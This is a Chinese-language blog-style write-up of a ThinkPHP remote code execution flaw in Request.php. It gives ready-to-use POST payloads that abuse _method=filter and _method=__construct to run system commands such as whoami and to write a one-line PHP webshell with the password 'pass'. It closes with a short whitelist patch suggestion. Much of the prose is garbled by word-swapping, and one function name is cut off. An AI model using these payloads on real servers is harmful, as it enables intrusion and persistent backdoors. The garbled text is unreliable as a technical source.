攻击者可以假造远程恶意代码,对做事器进行post提交数据来利用漏洞,该漏洞产生的缘故原由是继上次2019元旦前后爆出的网站漏洞后,又一次的致命漏洞。在thinkphp目录下的library文件夹下的think\request.php代码。如下图所示:
从上述代码中可以看出全体代码写的流程,首先打开网站会从app.php代码里将要求的网站地址利用check来进行解析,然后再经由patch类型对其进行深度的赋值.然后可以利用post办法提交数据到_method函数当中去,框架会对进行判断,然后对其调用传入的参数值,经由全体代码的循坏以及传入,就可以导致request的值给覆盖掉,从而产生远程代码实行,我们来布局恶意的代码,看识破绽是如何利用的。
post地址:anquan/public/index.php?s=captcha

POST内容:c=system&f=whoami&_method=filter
直接远程提交过去就会实行我们的命令 whoami。查看返回的post数据就可以看到我们要看的
信息。
在整体的所有版本中测试,thinkphp必须开启debug模式才可以写入webshell,写入的实行代码是:_method=construct&filter[]=assert&filter[]=file_put_contents('0.php',_decode
('JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF'))&server=-1 写入的是一句话木马,连接密码是pass.
有些低版本的网站,可以不该用captcha参数也可是实行远程代码,代码如下:_method=__construct&filter[]=system&method=GET&get[]=whoami
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo
_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
以上三个都是可以实行远程代码的。
关于thinkphp漏洞的修复建议:
尽快升级thinkphp到最新版本,有一些网站可能未便利升级,也可以对代码的文件进行修复,漏洞代码是library/think/Request.php对该代码的526行,527行进行添加设置白名单机制,对要求过来的数据,以及吸收的数据进行安全限定。if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {$this->method = $method,网站程序代码的安全很主要,如果网站利用了开源的CMS系统代码,不懂程序技能的话,网站会常常被黑客攻击,如果自己懂程序,那就可以自己针对代码的漏洞进行漏洞修复,不懂的话,就请专业的网站安全公司来完善一下程序上的某些代码漏洞,很多黑客之以是能植入木马病毒,便是捉住了这些网站代码上的漏洞。